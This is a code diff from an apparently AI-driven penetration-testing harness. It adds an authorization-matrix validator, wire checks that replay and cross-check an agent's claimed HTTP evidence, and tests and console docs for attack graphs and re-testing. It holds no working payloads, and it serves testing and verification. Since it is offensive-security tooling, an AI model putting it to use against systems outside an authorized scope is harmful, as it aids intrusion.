"ambiguous — the denied identity got {} with no clear business or auth signature; \
cannot separate authorization from a generic error",
o.denied.status
));
}
// (B) Matrix path — read/data routes across identities.
let deny_probes: Vec<&MatrixProbe> =
ev.matrix.iter().filter(|p| p.expect == Expect::Deny).collect();
if deny_probes.is_empty() {
return Verdict::NeedsReview(
"no should-be-denied identity in the matrix — there is nothing to prove".into(),
);
}
let served = deny_probes.iter().find(|p| {
let x = &p.exchange;
x.is_success()
&& !x.is_empty()
&& !looks_like_login_or_public(x)
&& !has_auth_signature(x)
});
match served {
Some(p) => Verdict::Confirmed(format!(
"identity '{}' (expected deny) was served the protected resource: {} with {} bytes",
if p.identity.is_empty() { "denied" } else { &p.identity },
p.exchange.status,
p.exchange.len()
)),
None => Verdict::Rejected(
"every should-be-denied identity was correctly refused (401/403, login page, or empty)".into(),
),
}
}
}
pub struct SsrfValidator; pub struct SsrfValidator;
impl CweValidator for SsrfValidator { impl CweValidator for SsrfValidator {
fn name(&self) -> &'static str { fn name(&self) -> &'static str {
@@ -961,6 +1209,7 @@ pub fn validators() -> Vec<Box<dyn CweValidator>> {
Box::new(SqliValidator), Box::new(SqliValidator),
Box::new(XssValidator), Box::new(XssValidator),
Box::new(IdorValidator), Box::new(IdorValidator),
Box::new(AuthzMatrixValidator),
Box::new(SsrfValidator), Box::new(SsrfValidator),
Box::new(LfiValidator), Box::new(LfiValidator),
Box::new(RceValidator), Box::new(RceValidator),
@@ -1006,8 +1255,19 @@ pub fn validator_for(f: &Finding) -> Option<Box<dyn CweValidator>> {
("cross-site scripting", || Box::new(XssValidator)), ("cross-site scripting", || Box::new(XssValidator)),
("xss", || Box::new(XssValidator)), ("xss", || Box::new(XssValidator)),
("idor", || Box::new(IdorValidator)), ("idor", || Box::new(IdorValidator)),
("broken access control", || Box::new(IdorValidator)),
("bola", || Box::new(IdorValidator)), ("bola", || Box::new(IdorValidator)),
("object-level", || Box::new(IdorValidator)),
// Function-level authorization → the matrix validator. These are
// listed before the broad "broken access control" fallback so the
// more specific label wins.
("bfla", || Box::new(AuthzMatrixValidator)),
("function-level", || Box::new(AuthzMatrixValidator)),
("function level", || Box::new(AuthzMatrixValidator)),
("missing authorization", || Box::new(AuthzMatrixValidator)),
("improper authorization", || Box::new(AuthzMatrixValidator)),
("authorization matrix", || Box::new(AuthzMatrixValidator)),
("read-only", || Box::new(AuthzMatrixValidator)),
("broken access control", || Box::new(IdorValidator)),
("ssrf", || Box::new(SsrfValidator)), ("ssrf", || Box::new(SsrfValidator)),
("server-side request forgery", || Box::new(SsrfValidator)), ("server-side request forgery", || Box::new(SsrfValidator)),
("path traversal", || Box::new(LfiValidator)), ("path traversal", || Box::new(LfiValidator)),
@@ -1066,6 +1326,47 @@ pub fn validator_for(f: &Finding) -> Option<Box<dyn CweValidator>> {
/// promoted to confirmed by this stage — the engine's job is to remove doubt it /// promoted to confirmed by this stage — the engine's job is to remove doubt it
/// can actually remove, not to add confidence it has not measured. /// can actually remove, not to add confidence it has not measured.
pub fn judge(f: &Finding, ev: Option<&Evidence>) -> Verdict { pub fn judge(f: &Finding, ev: Option<&Evidence>) -> Verdict {
let v = judge_evidence(f, ev);
wire_temper(v, ev)
}
/// Temper a verdict with what the wire said about the agent's account.
///
/// A confirmation that rests on exchanges the wire contradicted is not a
/// confirmation: it becomes needs-review with the contradiction as the reason.
/// The wire never *upgrades* a verdict here — reproduced exchanges already
/// replaced the agent's account before the validator ran, so they are what was
/// judged. Always on: there is no switch for honesty.
fn wire_temper(v: Verdict, ev: Option<&Evidence>) -> Verdict {
let Verdict::Confirmed(reason) = v else { return v };
let wc = ev.and_then(|e| e.wire.as_ref());
if let Some(w) = wc {
if !w.contradicted.is_empty() {
return Verdict::NeedsReview(format!(
"validator would confirm ({reason}), but the wire contradicts the agent's account: {}",
w.contradicted.join("; ")
));
}
}
let wire_backed = wc.map(|w| w.wire_backed()).unwrap_or(false)
|| ev.map(|e| e.attack.as_ref().map(|a| a.from_wire()).unwrap_or(false)).unwrap_or(false);
if wire_backed {
Verdict::Confirmed(format!("{reason} [wire-verified]"))
} else {
Verdict::Confirmed(reason)
}
}
fn judge_evidence(f: &Finding, ev: Option<&Evidence>) -> Verdict {
// Authorization-matrix evidence is self-identifying: if the matrix engine
// (or an agent) recorded per-identity probes or the 403-vs-business-error
// oracle, judge it with the function-level rule regardless of how the
// finding was labeled — the evidence shape is unambiguous.
if let Some(ev) = ev {
if !ev.matrix.is_empty() || ev.oracle.is_some() {
return AuthzMatrixValidator.validate(f, ev);
}
}
let Some(v) = validator_for(f) else { let Some(v) = validator_for(f) else {
return Verdict::NeedsReview(format!( return Verdict::NeedsReview(format!(
"no deterministic validator for {} — kept for human review", "no deterministic validator for {} — kept for human review",
@@ -1457,6 +1758,151 @@ mod tests {
Finding { cwe: cwe.into(), title: title.into(), confidence: 0.8, ..Default::default() } Finding { cwe: cwe.into(), title: title.into(), confidence: 0.8, ..Default::default() }
} }
// Helper: an exchange tagged with an identity.
fn ex_id(status: u16, body: &str, id: &str) -> Exchange {
Exchange { identity: id.into(), ..ex(status, body) }
}
#[test]
fn wire_contradiction_blocks_confirmation() {
let base = ex(200, "welcome user");
let attack = ex(500, "You have an error in your SQL syntax near '1''");
let mut ev = Evidence {
baseline: Some(base),
attack: Some(attack.clone()),
repeats: vec![attack.clone(), attack],
..Default::default()
};
assert!(matches!(judge(&f("CWE-89", "SQLi"), Some(&ev)), Verdict::Confirmed(_)));
ev.wire = Some(WireCheck { contradicted: vec!["replay returned 200 with no SQL error".into()], ..Default::default() });
match judge(&f("CWE-89", "SQLi"), Some(&ev)) {
Verdict::NeedsReview(r) => assert!(r.contains("wire contradicts"), "{r}"),
v => panic!("expected needs-review, got {v:?}"),
}
}
#[test]
fn wire_backed_confirmation_is_labelled() {
let base = ex(200, "welcome user");
let mut attack = ex(500, "You have an error in your SQL syntax near '1''");
attack.provenance = "wire:replay".into();
let ev = Evidence { baseline: Some(base), attack: Some(attack.clone()), repeats: vec![attack.clone(), attack], ..Default::default() };
match judge(&f("CWE-89", "SQLi"), Some(&ev)) {
Verdict::Confirmed(r) => assert!(r.contains("[wire-verified]"), "{r}"),
v => panic!("expected confirmation, got {v:?}"),
}
}
#[test]
fn authz_oracle_403_is_enforced() {
let ev = Evidence {
oracle: Some(OracleProbe {
denied: ex_id(403, "Forbidden", "readonly"),
privileged: ex_id(404, "record not found", "admin"),
}),
..Default::default()
};
assert!(matches!(
judge(&f("CWE-862", "Missing authorization on refund"), Some(&ev)),
Verdict::Rejected(_)
));
}
#[test]
fn authz_oracle_business_error_matching_control_confirms() {
// Denied identity reached business logic: non-existent id → same
// "not found" the privileged control got, not a 403.
let ev = Evidence {
oracle: Some(OracleProbe {
denied: ex_id(404, "record not found", "readonly"),
privileged: ex_id(404, "record not found", "admin"),
}),
..Default::default()
};
match judge(&f("", "read-only role can PATCH decision"), Some(&ev)) {
Verdict::Confirmed(r) => assert!(r.contains("business logic"), "{r}"),
v => panic!("expected confirmation, got {v:?}"),
}
}
#[test]
fn authz_oracle_generic_error_is_needs_review() {
let ev = Evidence {
oracle: Some(OracleProbe {
denied: ex_id(500, "Internal Server Error", "anonymous"),
privileged: ex_id(404, "record not found", "admin"),
}),
..Default::default()
};
assert!(matches!(
judge(&f("CWE-862", "missing authorization"), Some(&ev)),
Verdict::NeedsReview(_)
));
}
#[test]
fn authz_matrix_denied_identity_served_confirms() {
let ev = Evidence {
matrix: vec![
MatrixProbe { identity: "admin".into(), expect: Expect::Allow, exchange: ex_id(200, "{\"total\":86776,\"items\":[...]}", "admin") },
MatrixProbe { identity: "readonly".into(), expect: Expect::Deny, exchange: ex_id(200, "{\"total\":86776,\"items\":[...]}", "readonly") },
],
..Default::default()
};
match judge(&f("CWE-862", "chargeback list – missing authorization"), Some(&ev)) {
Verdict::Confirmed(r) => assert!(r.contains("expected deny"), "{r}"),
v => panic!("expected confirmation, got {v:?}"),
}
}
#[test]
fn authz_matrix_anonymous_denied_is_rejected() {
let ev = Evidence {
matrix: vec![MatrixProbe {
identity: "anonymous".into(),
expect: Expect::Deny,
exchange: ex_id(401, "Unauthorized", "anonymous"),
}],
..Default::default()
};
assert!(matches!(
judge(&f("CWE-862", "missing authorization"), Some(&ev)),
Verdict::Rejected(_)
));
}
#[test]
fn authz_matrix_login_page_200_is_not_a_finding() {
let ev = Evidence {
matrix: vec![MatrixProbe {
identity: "anonymous".into(),
expect: Expect::Deny,
exchange: ex_id(200, "<form><input type=\"password\" name=\"password\"></form>", "anonymous"),
}],
..Default::default()
};
assert!(matches!(
judge(&f("CWE-862", "missing authorization"), Some(&ev)),
Verdict::Rejected(_)
));
}
#[test]
fn authz_matrix_without_deny_identity_is_needs_review() {
let ev = Evidence {
matrix: vec![MatrixProbe {
identity: "admin".into(),
expect: Expect::Allow,
exchange: ex_id(200, "ok", "admin"),
}],
..Default::default()
};
assert!(matches!(
judge(&f("CWE-862", "authorization matrix"), Some(&ev)),
Verdict::NeedsReview(_)
));
}
#[test] #[test]
fn sqli_needs_a_difference_that_repeats() { fn sqli_needs_a_difference_that_repeats() {
let base = ex(200, "welcome user"); let base = ex(200, "welcome user");
+309
View File
@@ -0,0 +1,309 @@
//! Wire-bound evidence — the validators judge what the wire showed, not what
//! the agent said.
//!
//! An agent's finding carries its own account of the exchanges that prove it:
//! the request it sent, the status and body it says came back. The
//! deterministic validators in [`crate::validation`] are strict about what an
//! exchange must show, but until this pass they were strict about the agent's
//! *description* of the exchange. That is the weak link: a model that
//! misremembers a status, pastes a narrative where the body should be, or
//! confuses two requests produces evidence nobody observed.
//!
//! This pass runs before validation, on every finding, with no switch:
//!
//! 1. **Recorded traffic.** When the recording interceptor ran, each claimed
//! exchange is matched against `flows.jsonl` by method and URL. A recorded
//! status that differs from the agent's is a contradiction. A claimed request
//! to a host the interceptor never saw is noted (a signal — tools can bypass
//! a proxy — not a verdict).
//! 2. **Replay.** The harness re-sends the request itself through
//! [`crate::replay::ReplayEngine`] — its own client, behind the scope guard,
//! never a mutating verb. If the wire reproduces the account (same status
//! class, the harness marker still present), the observation *replaces* the
//! agent's account, so the validator judges real bytes. If it does not, the
//! disagreement is recorded and [`crate::validation::judge`] will not let the
//! finding stand as confirmed.
//!
//! What cannot be checked — a DELETE, an identity whose credentials were not
//! recorded, a host the scope guard refuses — is counted as unverified and left
//! exactly as the agent reported it. Nothing here ever upgrades a verdict.
use crate::proxy::Flow;
use crate::replay::{spec_of, ReplayEngine};
use crate::validation::{Evidence, Exchange, WireCheck};
/// Read the recording interceptor's log for a run (empty when it did not run).
pub fn load_flows(workdir: Option<&str>) -> Vec<Flow> {
let Some(d) = workdir else { return Vec::new() };
let Ok(text) = std::fs::read_to_string(std::path::Path::new(d).join("flows.jsonl")) else { return Vec::new() };
text.lines().filter_map(|l| serde_json::from_str::<Flow>(l).ok()).collect()
}
/// URL without fragment or trailing slash, lower-cased scheme/host.
fn norm(url: &str) -> String {
let u = url.split('#').next().unwrap_or(url).trim();
let u = u.trim_end_matches('/');
match u.split_once("://") {
Some((scheme, rest)) => {
let (host, path) = match rest.find('/') {
Some(i) => (&rest[..i], &rest[i..]),
None => (rest, ""),
};
format!("{}://{}{}", scheme.to_lowercase(), host.to_lowercase(), path)
}
None => u.to_string(),
}
}
fn host(url: &str) -> String {
crate::scope::host_of(url).to_lowercase()
}
/// The exchange carries recorded credentials, so a replay acts as the same identity.
fn has_auth(x: &Exchange) -> bool {
x.request_headers.keys().any(|k| matches!(k.to_ascii_lowercase().as_str(), "authorization" | "cookie" | "x-api-key" | "x-auth-token"))
}
fn class(status: u16) -> u16 {
status / 100
}
/// Did the observation reproduce what the agent reported?
fn reproduces(claimed: &Exchange, observed: &Exchange, marker: &str) -> Result<(), String> {
if claimed.status != 0 && class(claimed.status) != class(observed.status) {
return Err(format!("the agent reported HTTP {}, the wire returned HTTP {}", claimed.status, observed.status));
}
if !marker.is_empty() && claimed.body.contains(marker) && !observed.body.contains(marker) {
return Err(format!("the harness marker `{marker}` the agent reported is absent from the wire response"));
}
Ok(())
}
/// Check one exchange. Replaces it with the wire observation when reproduced.
async fn check(x: &mut Exchange, role: &str, marker: &str, engine: &ReplayEngine, flows: &[Flow], replay: bool, wc: &mut WireCheck, notes: &mut Vec<String>) {
if x.from_wire() {
wc.harness_observed += 1;
return;
}
if x.url.trim().is_empty() {
wc.unverified += 1;
return;
}
let method = if x.method.is_empty() { "GET".to_string() } else { x.method.to_uppercase() };
// 1. The recording interceptor's view.
let mut corroborated = false;
if !flows.is_empty() {
let target = norm(&x.url);
match flows.iter().rev().find(|f| !f.tunnelled && f.method.eq_ignore_ascii_case(&method) && norm(&f.url) == target) {
Some(fl) if x.status == 0 || fl.status == x.status => {
wc.corroborated += 1;
corroborated = true;
}
Some(fl) => wc.contradicted.push(format!(
"{role}: the recording interceptor saw {method} {} return HTTP {}, the agent reported HTTP {}",
x.url, fl.status, x.status
)),
None => {
let h = host(&x.url);
if !h.is_empty() && !flows.iter().any(|f| host(&f.url) == h || f.url.to_lowercase().starts_with(&h)) {
wc.absent_from_capture.push(format!("{role}: {method} {}", x.url));
}
}
}
}
// 2. The harness re-observes it.
let spec = spec_of(x);
let can_replay = replay && !spec.is_mutating() && (x.identity.is_empty() || has_auth(x));
if !can_replay {
if !corroborated {
wc.unverified += 1;
}
return;
}
match engine.send(&spec).await {
Ok(mut obs) => match reproduces(x, &obs, marker) {
Ok(()) => {
notes.push(format!("{role}: the agent's account was replaced by the harness's own observation (HTTP {} → HTTP {})", x.status, obs.status));
obs.identity = x.identity.clone();
*x = obs;
wc.reproduced += 1;
}
Err(why) => wc.contradicted.push(format!("{role}: {why}")),
},
Err(_) => {
if !corroborated {
wc.unverified += 1;
}
}
}
}
/// Check every exchange in a finding's evidence against the wire.
pub async fn verify(ev: &mut Evidence, engine: &ReplayEngine, flows: &[Flow], replay: bool) -> WireCheck {
let mut wc = WireCheck::default();
let marker = ev.marker.clone();
let mut notes: Vec<String> = Vec::new();
if let Some(x) = ev.baseline.as_mut() {
check(x, "control", &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
if let Some(x) = ev.attack.as_mut() {
check(x, "attack", &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
if let Some(x) = ev.identity_a.as_mut() {
check(x, "identity A", &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
if let Some(x) = ev.identity_b.as_mut() {
check(x, "identity B", &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
if let Some(o) = ev.oracle.as_mut() {
check(&mut o.privileged, "oracle privileged", &marker, engine, flows, replay, &mut wc, &mut notes).await;
check(&mut o.denied, "oracle denied", &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
for p in ev.matrix.iter_mut() {
let role = format!("matrix {}", p.identity);
check(&mut p.exchange, &role, &marker, engine, flows, replay, &mut wc, &mut notes).await;
}
// Repeats the agent typed in are accounts too; the harness's own repeats
// (added by the evidence-gap loop) are already wire.
for r in ev.repeats.iter() {
if r.from_wire() {
wc.harness_observed += 1;
}
}
ev.notes.extend(notes);
wc
}
/// One line for the operator.
pub fn summary(checks: &[WireCheck]) -> String {
let (mut rep, mut cor, mut har, mut unv, mut con, mut abs) = (0, 0, 0, 0, 0, 0);
for w in checks {
rep += w.reproduced;
cor += w.corroborated;
har += w.harness_observed;
unv += w.unverified;
con += w.contradicted.len();
abs += w.absent_from_capture.len();
}
format!(
"wire: {rep} exchange(s) re-observed by the harness, {cor} corroborated by recorded traffic, {har} already harness-observed, {con} contradicted, {unv} unverifiable{}",
if abs > 0 { format!(", {abs} absent from the capture") } else { String::new() }
)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::scope::ScopePolicy;
fn ex(method: &str, url: &str, status: u16, body: &str) -> Exchange {
Exchange { method: method.into(), url: url.into(), status, body: body.into(), ..Default::default() }
}
fn flow(method: &str, url: &str, status: u16) -> Flow {
Flow { method: method.into(), url: url.into(), status, ..Default::default() }
}
fn engine() -> ReplayEngine {
ReplayEngine::new(ScopePolicy::from_yaml("hard:\n - t.test\n"))
}
#[tokio::test]
async fn recorded_status_contradiction_is_caught() {
let mut ev = Evidence { attack: Some(ex("GET", "http://t.test/admin", 200, "admin panel")), ..Default::default() };
let flows = vec![flow("GET", "http://t.test/admin", 403)];
let wc = verify(&mut ev, &engine(), &flows, false).await;
assert_eq!(wc.contradicted.len(), 1, "{wc:?}");
assert!(wc.contradicted[0].contains("403"));
}
#[tokio::test]
async fn recorded_match_corroborates() {
let mut ev = Evidence { attack: Some(ex("GET", "http://t.test/admin/", 200, "admin panel")), ..Default::default() };
let flows = vec![flow("GET", "http://T.TEST/admin", 200)];
let wc = verify(&mut ev, &engine(), &flows, false).await;
assert_eq!(wc.corroborated, 1);
assert!(wc.contradicted.is_empty());
}
#[tokio::test]
async fn request_to_unseen_host_is_flagged_absent() {
let mut ev = Evidence { attack: Some(ex("GET", "http://t.test/x", 200, "x")), ..Default::default() };
let flows = vec![flow("GET", "http://other.test/y", 200)];
let wc = verify(&mut ev, &engine(), &flows, false).await;
assert_eq!(wc.absent_from_capture.len(), 1);
}
#[tokio::test]
async fn harness_observed_is_not_rechecked() {
let mut x = ex("GET", "http://t.test/x", 200, "x");
x.provenance = "wire:harness".into();
let mut ev = Evidence { attack: Some(x), ..Default::default() };
let wc = verify(&mut ev, &engine(), &[], true).await;
assert_eq!(wc.harness_observed, 1);
assert_eq!(wc.unverified, 0);
}
#[tokio::test]
async fn mutating_and_credentialless_identity_are_unverified_not_contradicted() {
let mut del = ex("DELETE", "http://t.test/users/1", 200, "deleted");
del.identity = String::new();
let mut b = ex("GET", "http://t.test/orders/9", 200, "other's order");
b.identity = "userB".into(); // no recorded credentials → cannot act as B
let mut ev = Evidence { attack: Some(del), identity_b: Some(b), ..Default::default() };
let wc = verify(&mut ev, &engine(), &[], true).await;
assert_eq!(wc.unverified, 2, "{wc:?}");
assert!(wc.contradicted.is_empty());
}
/// A one-shot local HTTP server returning a fixed status/body to every request.
async fn serve(status: u16, body: &'static str) -> String {
let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = l.local_addr().unwrap();
tokio::spawn(async move {
loop {
let Ok((mut sock, _)) = l.accept().await else { return };
tokio::spawn(async move {
use tokio::io::{AsyncReadExt, AsyncWriteExt};
let mut buf = [0u8; 4096];
let _ = sock.read(&mut buf).await;
let resp = format!("HTTP/1.1 {status} X\r\nContent-Type: text/plain\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len());
let _ = sock.write_all(resp.as_bytes()).await;
});
}
});
format!("http://127.0.0.1:{}", addr.port())
}
#[tokio::test]
async fn live_replay_replaces_or_contradicts() {
let base = serve(200, "hello ns-mark-77 world").await;
let engine = ReplayEngine::new(ScopePolicy::from_yaml("hard:\n - 127.0.0.1\n"));
// Agent's account matches the wire → replaced by the harness observation.
let mut ev = Evidence { marker: "ns-mark-77".into(), attack: Some(ex("GET", &format!("{base}/p"), 200, "agent says ns-mark-77")), ..Default::default() };
let wc = verify(&mut ev, &engine, &[], true).await;
if wc.unverified == 1 {
eprintln!("replay refused by the scope/netguard for loopback — skipping live assertion");
return;
}
assert_eq!(wc.reproduced, 1, "{wc:?}");
let a = ev.attack.as_ref().unwrap();
assert_eq!(a.provenance, "wire:replay");
assert!(a.body.contains("hello ns-mark-77"), "the validator must now see real bytes: {}", a.body);
// Agent claims a 500 SQL error the wire never produced → contradiction.
let mut ev2 = Evidence { attack: Some(ex("GET", &format!("{base}/q"), 500, "SQL syntax error")), ..Default::default() };
let wc2 = verify(&mut ev2, &engine, &[], true).await;
assert_eq!(wc2.contradicted.len(), 1, "{wc2:?}");
assert!(wc2.contradicted[0].contains("HTTP 500") && wc2.contradicted[0].contains("HTTP 200"));
}
#[test]
fn reproduction_rules() {
let claimed = ex("GET", "u", 200, "proof ns-marker-1");
assert!(reproduces(&claimed, &ex("GET", "u", 204, "ns-marker-1 here"), "ns-marker-1").is_ok());
assert!(reproduces(&claimed, &ex("GET", "u", 403, "nope"), "ns-marker-1").is_err());
assert!(reproduces(&claimed, &ex("GET", "u", 200, "no marker"), "ns-marker-1").is_err());
// Unknown claimed status: anything the wire returns is the evidence.
assert!(reproduces(&ex("GET", "u", 0, ""), &ex("GET", "u", 500, "err"), "").is_ok());
}
}
+15
View File
@@ -285,3 +285,18 @@ node web/server.js # http://localhost:4173
`PORT` (or `NEUROSPLOIT_WEB_PORT`) overrides the port. The server auto-locates the compiled binary `PORT` (or `NEUROSPLOIT_WEB_PORT`) overrides the port. The server auto-locates the compiled binary
under `neurosploit-rs/target/{release,debug}/neurosploit` relative to the repo root; if neither under `neurosploit-rs/target/{release,debug}/neurosploit` relative to the repo root; if neither
exists, `/api/exploit` and `/api/repl` return a 500 with a build hint. exists, `/api/exploit` and `/api/repl` return a 500 with a build hint.
## Attack graph, traffic, traces, re-test
Everything below reads files the CLI wrote into the run directory, or shells out
to the CLI — the console never re-implements harness logic.
| Method | Path | What |
|---|---|---|
| `GET` | `/api/runs/:id/graph` | `{ chains, todo, graph }` — `graph/{live-chains,chains}.json`, `graph/todo.json`, `graph/{live,graph}.json` (live files win while the run is in progress) |
| `POST` | `/api/runs/:id/graph` | Recompute with `neurosploit graph <run>`; body `{ "push": true }` adds `--push` (Neo4j credentials from the server's `NEO4J_URI` / `NEO4J_USER` / `NEO4J_PASSWORD`). Returns the CLI output and the refreshed graph. |
| `GET` | `/api/runs/:id/traffic?host=&method=&q=&offset=&limit=` | The recording interceptor's `flows.jsonl`, filtered, newest first; `hosts` lists every host seen. |
| `GET` | `/api/runs/:id/traces?q=` | The shared agent traces (`traces/*.md`) and, with `q`, line hits across all of them. |
| `POST` | `/api/runs/:id/retest` | `neurosploit poc <run>` — re-runs every finding's recorded proof and reports what still reproduces (report only; nothing is written back). |
`GET /api/runs/:id` now also returns `extras`: `{ graph, todo, traces, flows, deliverables[] }`.
+4 -3
View File
@@ -14,9 +14,10 @@ CLI binary, never a reimplementation of harness logic.
- **Auth & Keys** (one menu, 🔑 in the sidebar) — target auth header + named roles for - **Auth & Keys** (one menu, 🔑 in the sidebar) — target auth header + named roles for
IDOR/BOLA/BFLA testing, per-provider API keys (kept in server memory only, never on disk), and IDOR/BOLA/BFLA testing, per-provider API keys (kept in server memory only, never on disk), and
an explicit `creds.yaml` path override. an explicit `creds.yaml` path override.
- **Generative Attack Path Chaining** — findings are grouped into kill-chain columns - **Attack graph** — the run's graph memory (web + internal network): host → service → finding →
(recon → initial-access → execution → privesc → lateral → exfil → impact) with chained findings credential → impact, every edge marked confirmed / needs validation / hypothesis, findings ordered
linked back to their parent, built live as findings stream in. by kill-chain stage. Refreshed live at each graph checkpoint; click a finding to open it. Chains
and Dependencies list the same paths as text and as the step-by-step todolist.
- **Terminal dock (xterm.js)** — `❭_` in the sidebar, the topbar button, or `Ctrl+\`` opens a - **Terminal dock (xterm.js)** — `❭_` in the sidebar, the topbar button, or `Ctrl+\`` opens a
docked terminal running a real `neurosploit` REPL session. Its stdout is streamed **unstripped**, docked terminal running a real `neurosploit` REPL session. Its stdout is streamed **unstripped**,
so the harness's own colour and box-drawn panels render as they do in a local shell. Line so the harness's own colour and box-drawn panels render as they do in a local shell. Line
+622 -405
View File
File diff suppressed because it is too large. Load diff
+7 -6
View File
@@ -346,7 +346,6 @@
</div> </div>
<nav class="run-tabs"> <nav class="run-tabs">
<button class="run-tab active" data-tab="findings">Findings <span id="liveFindingsCount">0</span></button> <button class="run-tab active" data-tab="findings">Findings <span id="liveFindingsCount">0</span></button>
<button class="run-tab" data-tab="attackpath">Generative Attack Path Chaining</button>
<button class="run-tab" data-tab="log">Activity log</button> <button class="run-tab" data-tab="log">Activity log</button>
</nav> </nav>
<div class="run-body"> <div class="run-body">
@@ -361,13 +360,12 @@
</div> </div>
<div class="table-wrap"> <div class="table-wrap">
<table class="data-table" id="liveFindingsTable"> <table class="data-table" id="liveFindingsTable">
<thead><tr><th data-sort="severity">Severity</th><th data-sort="title">Title</th><th data-sort="endpoint">Endpoint</th><th data-sort="cwe">CWE</th><th data-sort="agent">Agent</th><th data-sort="confidence" class="col-conf">Conf.</th></tr></thead> <thead><tr><th data-sort="severity">Severity</th><th data-sort="title">Title</th><th data-sort="endpoint">Endpoint</th><th data-sort="cwe">CWE</th><th data-sort="review_status">Status</th><th data-sort="wire">Wire</th><th data-sort="agent">Agent</th><th data-sort="confidence" class="col-conf">Conf.</th></tr></thead>
<tbody></tbody> <tbody></tbody>
</table> </table>
</div> </div>
<div class="empty-state" id="liveFindingsEmpty">No validated findings yet.</div> <div class="empty-state" id="liveFindingsEmpty">No validated findings yet.</div>
</div> </div>
<div class="run-tab-panel" data-tabpanel="attackpath" hidden><div id="liveAttackPath"></div></div>
<div class="run-tab-panel log-tab-panel" data-tabpanel="log" hidden> <div class="run-tab-panel log-tab-panel" data-tabpanel="log" hidden>
<div class="log-panel" id="logList"></div> <div class="log-panel" id="logList"></div>
<div class="send-prompt-row" id="sendPromptRow" hidden> <div class="send-prompt-row" id="sendPromptRow" hidden>
@@ -393,6 +391,9 @@
<a class="btn" id="detailOpenReport" target="_blank" hidden>Open report</a> <a class="btn" id="detailOpenReport" target="_blank" hidden>Open report</a>
<a class="btn" id="detailOpenPdf" target="_blank" hidden>⤓ PDF</a> <a class="btn" id="detailOpenPdf" target="_blank" hidden>⤓ PDF</a>
<button class="btn" id="btnBuildReport" title="Regenerate this run's report from its findings">Generate report</button> <button class="btn" id="btnBuildReport" title="Regenerate this run's report from its findings">Generate report</button>
<button class="btn" id="btnGraphRecompute" title="Recompute the attack graph with the CLI (neurosploit graph)">↻ Graph</button>
<button class="btn" id="btnGraphPush" title="Push the attack graph to Neo4j (neurosploit graph --push; needs NEO4J_URI / NEO4J_USER / NEO4J_PASSWORD on the server)">⇪ Neo4j</button>
<button class="btn" id="btnRetest" title="Re-run every finding's recorded proof (neurosploit poc) and see what still reproduces">⟳ Re-test</button>
<a class="btn" id="detailOpenAudit" target="_blank" hidden title="Every action this run took, hash-chained">Audit trail</a> <a class="btn" id="detailOpenAudit" target="_blank" hidden title="Every action this run took, hash-chained">Audit trail</a>
<button class="btn btn-danger" id="btnDeleteRun" title="Permanently delete this session and its report">🗑 Delete</button> <button class="btn btn-danger" id="btnDeleteRun" title="Permanently delete this session and its report">🗑 Delete</button>
<button class="btn" id="btnDetailBack">← New engagement</button> <button class="btn" id="btnDetailBack">← New engagement</button>
@@ -400,7 +401,6 @@
</header> </header>
<nav class="run-tabs"> <nav class="run-tabs">
<button class="run-tab active" data-tab="findings">Findings <span id="detailFindingsCount">0</span></button> <button class="run-tab active" data-tab="findings">Findings <span id="detailFindingsCount">0</span></button>
<button class="run-tab" data-tab="attackpath">Generative Attack Path Chaining</button>
</nav> </nav>
<div class="run-body"> <div class="run-body">
<div class="run-tab-panel" data-tabpanel="findings"> <div class="run-tab-panel" data-tabpanel="findings">
@@ -411,16 +411,17 @@
<span class="search-icon" aria-hidden="true">⌕</span> <span class="search-icon" aria-hidden="true">⌕</span>
<input id="detailFindingSearch" type="text" placeholder="Filter findings" /> <input id="detailFindingSearch" type="text" placeholder="Filter findings" />
</div> </div>
<button class="btn btn-sm" id="btnExportCsv" title="Export the filtered findings as CSV">⤓ CSV</button>
</div> </div>
<div class="kpi-row" id="detailKpis"></div>
<div class="table-wrap"> <div class="table-wrap">
<table class="data-table" id="detailFindingsTable"> <table class="data-table" id="detailFindingsTable">
<thead><tr><th data-sort="severity">Severity</th><th data-sort="title">Title</th><th data-sort="endpoint">Endpoint</th><th data-sort="cwe">CWE</th><th data-sort="agent">Agent</th><th data-sort="confidence" class="col-conf">Conf.</th></tr></thead> <thead><tr><th data-sort="severity">Severity</th><th data-sort="title">Title</th><th data-sort="endpoint">Endpoint</th><th data-sort="cwe">CWE</th><th data-sort="review_status">Status</th><th data-sort="wire">Wire</th><th data-sort="agent">Agent</th><th data-sort="confidence" class="col-conf">Conf.</th></tr></thead>
<tbody></tbody> <tbody></tbody>
</table> </table>
</div> </div>
<div class="empty-state" id="detailFindingsEmpty">No validated findings.</div> <div class="empty-state" id="detailFindingsEmpty">No validated findings.</div>
</div> </div>
<div class="run-tab-panel" data-tabpanel="attackpath" hidden><div id="detailAttackPath"></div></div>
</div> </div>
</section> </section>
+167 -48
View File
@@ -490,53 +490,6 @@ textarea { resize: vertical; min-height: 72px; }
.run-body { flex: 1; overflow-y: auto; padding: var(--sp-5); } .run-body { flex: 1; overflow-y: auto; padding: var(--sp-5); }
.run-tab-panel[hidden] { display: none; } .run-tab-panel[hidden] { display: none; }
/* Generative Attack Path Chaining */
.attackpath-empty { font-size: var(--fs-sm); color: var(--text-faint); padding: var(--sp-5); text-align: center; border: 1px dashed var(--border-strong); border-radius: var(--radius-sm); }
.ap-toolbar { display: flex; align-items: center; gap: var(--sp-3); flex-wrap: wrap; margin-bottom: var(--sp-2); }
.ap-stats { font-size: var(--fs-sm); color: var(--text-dim); }
.ap-stats b { color: var(--text); font-family: var(--mono); }
.ap-inferred-note { color: var(--text-faint); }
.ap-check { display: flex; align-items: center; gap: 6px; font-size: var(--fs-sm); color: var(--text-dim); }
.ap-sev { width: auto; padding: 5px 8px; font-size: var(--fs-sm); }
.ap-zoom { display: flex; gap: 4px; }
.ap-zoom .btn { min-width: 32px; justify-content: center; }
.ap-provenance { font-size: var(--fs-xs); color: var(--text-faint); margin-bottom: var(--sp-2); }
/* The canvas is a fixed viewport that the graph pans inside — letting the box
grow to the graph's height (1187px on a 27-finding run) meant scrolling the
page blind, with no way to see the shape of the path. */
